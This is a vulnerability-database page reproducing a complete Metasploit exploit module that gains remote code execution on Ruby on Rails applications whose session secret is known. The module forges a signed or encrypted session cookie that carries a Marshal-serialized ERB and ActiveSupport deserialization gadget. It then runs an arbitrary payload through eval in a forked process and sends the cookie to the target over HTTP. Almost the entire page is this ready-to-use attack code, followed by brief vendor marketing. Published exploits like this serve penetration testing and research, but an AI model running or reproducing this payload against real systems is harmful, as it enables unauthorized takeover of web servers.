Lucene search
K

Ruby on Rails Known Secret Session Cookie Remote Code Execution

🗓️ 11 Aug 2013 00:00:00Reported by joernchenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 46 Views

Ruby on Rails Known Secret Session Cookie Remote Code Execution This module implements Remote Command Execution on Ruby on Rails applications. Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" (Rails 4). The values for those can be usually found in the file "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by deserialization of a crafted Ruby Object

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#Helper Classes copy/paste from Rails4  
class MessageVerifier  
  
class InvalidSignature < StandardError; end  
  
def initialize(secret, options = {})  
@secret = secret  
@digest = options[:digest] || 'SHA1'  
@serializer = options[:serializer] || Marshal  
end  
  
def generate(value)  
data = ::Base64.strict_encode64(@serializer.dump(value))  
"#{data}--#{generate_digest(data)}"  
end  
  
def generate_digest(data)  
require 'openssl' unless defined?(OpenSSL)  
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)  
end  
  
end  
  
class MessageEncryptor  
  
module NullSerializer #:nodoc:  
  
def self.load(value)  
value  
end  
  
def self.dump(value)  
value  
end  
  
end  
  
class InvalidMessage < StandardError; end  
  
OpenSSLCipherError = OpenSSL::Cipher::CipherError  
  
def initialize(secret, *signature_key_or_options)  
options = signature_key_or_options.extract_options!  
sign_secret = signature_key_or_options.first  
@secret = secret  
@sign_secret = sign_secret  
@cipher = options[:cipher] || 'aes-256-cbc'  
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)  
# @serializer = options[:serializer] || Marshal  
end  
  
def encrypt_and_sign(value)  
@verifier.generate(_encrypt(value))  
end  
  
def _encrypt(value)  
cipher = new_cipher  
cipher.encrypt  
cipher.key = @secret  
# Rely on OpenSSL for the initialization vector  
iv = cipher.random_iv  
#encrypted_data = cipher.update(@serializer.dump(value))  
encrypted_data = cipher.update(value)  
encrypted_data << cipher.final  
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")  
end  
  
def new_cipher  
OpenSSL::Cipher::Cipher.new(@cipher)  
end  
  
end  
  
class KeyGenerator  
  
def initialize(secret, options = {})  
@secret = secret  
@iterations = options[:iterations] || 2**16  
end  
  
def generate_key(salt, key_size=64)  
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)  
end  
  
end  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution',  
'Description' => %q{  
This module implements Remote Command Execution on Ruby on Rails applications.  
Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"  
(Rails 4). The values for those can be usually found in the file  
"RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by  
deserialization of a crafted Ruby Object.  
},  
'Author' =>  
[  
'joernchen of Phenoelit <joernchen[at]phenoelit.de>',  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here  
['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']  
],  
'DisclosureDate' => 'Apr 11 2013',  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80),  
OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),  
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),  
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),  
OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),  
OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]),  
OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']),  
OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']),  
OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']),  
OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]),  
  
], self.class)  
end  
  
  
#  
# This stub ensures that the payload runs outside of the Rails process  
# Otherwise, the session can be killed on timeout  
#  
def detached_payload_stub(code)  
%Q^  
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first  
if RUBY_PLATFORM =~ /mswin|mingw|win32/  
inp = IO.popen("ruby", "wb") rescue nil  
if inp  
inp.write(code)  
inp.close  
end  
else  
Kernel.fork do  
eval(code)  
end  
end  
{}  
^.strip.split(/\n/).map{|line| line.strip}.join("\n")  
end  
  
def check_secret(data, digest)  
data = Rex::Text.uri_decode(data)  
if datastore['RAILSVERSION'] == 3  
sigkey = datastore['SECRET']  
elsif datastore['RAILSVERSION'] == 4  
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})  
sigkey = keygen.generate_key(datastore['SALTSIG'])  
end  
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data)  
end  
  
def rails_4  
keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})  
enckey = keygen.generate_key(datastore['SALTENC'])  
sigkey = keygen.generate_key(datastore['SALTSIG'])  
crypter = MessageEncryptor.new(enckey, sigkey)  
crypter.encrypt_and_sign(build_cookie)  
end  
  
def rails_3  
# Sign it with the secret_token  
data = build_cookie  
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)  
marshal_payload = Rex::Text.uri_encode(data)  
"#{marshal_payload}--#{digest}"  
end  
  
def build_cookie  
  
# Embed the payload with the detached stub  
code =  
"eval('" +  
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +  
"'.unpack('m0').first)"  
  
if datastore['RAILSVERSION'] == 4  
return "\x04\b" +  
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +  
":\x0E@instanceo" +  
":\bERB\x06" +  
":\t@src"+ Marshal.dump(code)[2..-1] +  
":\f@method:\vresult:" +  
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"  
end  
if datastore['RAILSVERSION'] == 3  
return Rex::Text.encode_base64 "\x04\x08" +  
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +  
":\x0E@instance" +  
"o"+":\x08ERB"+"\x06" +  
":\x09@src" +  
Marshal.dump(code)[2..-1] +  
":\x0C@method"+":\x0Bresult"  
end  
end  
  
#  
# Send the actual request  
#  
def exploit  
if datastore['RAILSVERSION'] == 3  
cookie = rails_3  
elsif datastore['RAILSVERSION'] == 4  
cookie = rails_4  
end  
cookie_name = datastore['COOKIE_NAME']  
  
print_status("Checking for cookie #{datastore['COOKIE_NAME']}")  
res = send_request_cgi({  
'uri' => datastore['TARGETURI'] || "/",  
'method' => datastore['HTTP_METHOD'],  
}, 25)  
if res && res.headers['Set-Cookie']  
match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)  
end  
  
if match  
if match[1] == datastore['COOKIE_NAME']  
print_status("Found cookie, now checking for proper SECRET")  
else  
print_status("Adjusting cookie name to #{match[1]}")  
cookie_name = match[1]  
end  
  
if check_secret(match[2],match[3])  
print_good("SECRET matches! Sending exploit payload")  
else  
fail_with(Exploit::Failure::BadConfig, "SECRET does not match")  
end  
else  
print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")  
if cookie_name.nil? || cookie_name.empty?  
# This prevents trying to send busted cookies with no name  
fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given")  
end  
if datastore['VALIDATE_COOKIE']  
fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")  
else  
print_status("Trying to leverage default controller without cookie confirmation.")  
end  
end  
  
print_status "Sending cookie #{cookie_name}"  
res = send_request_cgi({  
'uri' => datastore['TARGETURI'] || "/",  
'method' => datastore['HTTP_METHOD'],  
'headers' => {'Cookie' => cookie_name+"="+ cookie},  
}, 25)  
  
handler  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation